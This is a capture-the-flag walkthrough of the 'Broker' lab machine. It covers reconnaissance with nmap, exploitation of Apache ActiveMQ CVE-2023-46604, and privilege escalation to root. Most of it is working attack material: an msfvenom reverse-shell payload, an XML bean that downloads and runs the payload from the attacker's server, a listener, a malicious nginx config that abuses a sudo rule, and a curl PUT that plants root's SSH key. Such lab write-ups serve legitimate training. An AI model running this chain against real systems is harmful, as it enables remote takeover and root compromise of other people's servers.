Broker
Reconnaissance
NMAP Scan
sudo nmap -sC -sV -v4 -p- -Pn --min-rate=1000 broker -oN nmap.txt
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt syn-ack ttl 63
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/MasterBroker:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp? syn-ack ttl 63
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
44169/tcp open tcpwrapped syn-ack ttl 63
61613/tcp open stomp syn-ack ttl 63 Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesn't have a title.
61616/tcp open apachemq syn-ack ttl 63 ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
So the above shows that there are open ports on the victim machine, including apachemq on port 61616
Exploitation
The understanding of this exploit is that prior to patching, there was no method of checking if the deserialized data actually threw an error or exception. This could allow an attacker to push classes arbitrarily, and get remote code execution.
Generating a payload
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f elf -o
exploit.elf
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<!-- The command below downloads the file and saves it as test.elf -->
<value>curl -s -o exploit.elf http://10.10.14.16:8001/exploit.elf; chmod +x ./exploit.elf; ./exploit.elf</value>
</list>
</constructor-arg>
</bean>
</beans>
Setting up a listener and http server to serve payload to victim machine
┌──(kali㉿kali)-[~]
└─$ ncat -lvnp 1234
┌──(kali㉿kali)-[~/Desktop/HTB/Broker/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ-main]
└─$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
Execution and Foothold
go run main.go -i 10.129.230.87-p 61616 -u http://10.10.14.16:8001/poc-linux.xml
As we can see, the script ran to the victim machine's open Active MQ port. From there the script was able to push a message that requested a payload from our http server. After that, the payload was executed, and the victim machine connected to our listener and we gained a shell as Active MQ.
Privilege Escalation
SHELL=/bin/bash script -q /dev/null
sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
Generating a malicious configuration file to serve to the victim
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
dav_methods PUT;
}
}
From the ActiveMQ Shell
wget http://10.10.14.16:8001/tmp.conf
Configuring nginx to use the malicious conf file
activemq@broker:/tmp$ sudo nginx -c /tmp/tmp.conf
sudo nginx -c /tmp/tmp.conf
activemq@broker:/tmp$ ss -tlpn
ss -tlpn
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 511 0.0.0.0:1337 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 *:1883 *:* users:(("java",pid=941,fd=146))
LISTEN 0 50 *:8161 *:* users:(("java",pid=941,fd=154))
LISTEN 0 4096 *:5672 *:* users:(("java",pid=941,fd=144))
LISTEN 0 50 *:44169 *:* users:(("java",pid=941,fd=26))
LISTEN 0 4096 *:61613 *:* users:(("java",pid=941,fd=145))
LISTEN 0 50 *:61614 *:* users:(("java",pid=941,fd=148))
LISTEN 0 4096 *:61616 *:* users:(("java",pid=941,fd=142))
LISTEN 0 128 [::]:22 [::]:*
Generating Keys , ssh into root
activemq@broker:/tmp$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./root
./root
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./root
Your public key has been saved in ./root.pub
The key fingerprint is:
SHA256:BUWoDSQKyIl0qcfN95xAxPJ4sa8wjG9G0gqFkJDR1Gw activemq@broker
The key's randomart image is:
+---[RSA 3072]----+
|XBo+o.+..+o |
|*+ooEo.+.. |
|. =.o =+o . |
| o + +.*.. |
| o + o S . |
| . o * = |
| . = o . |
| . + . |
| o |
+----[SHA256]-----+
curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"
activemq@broker:/tmp$ ssh -i root root@localhost
Last updated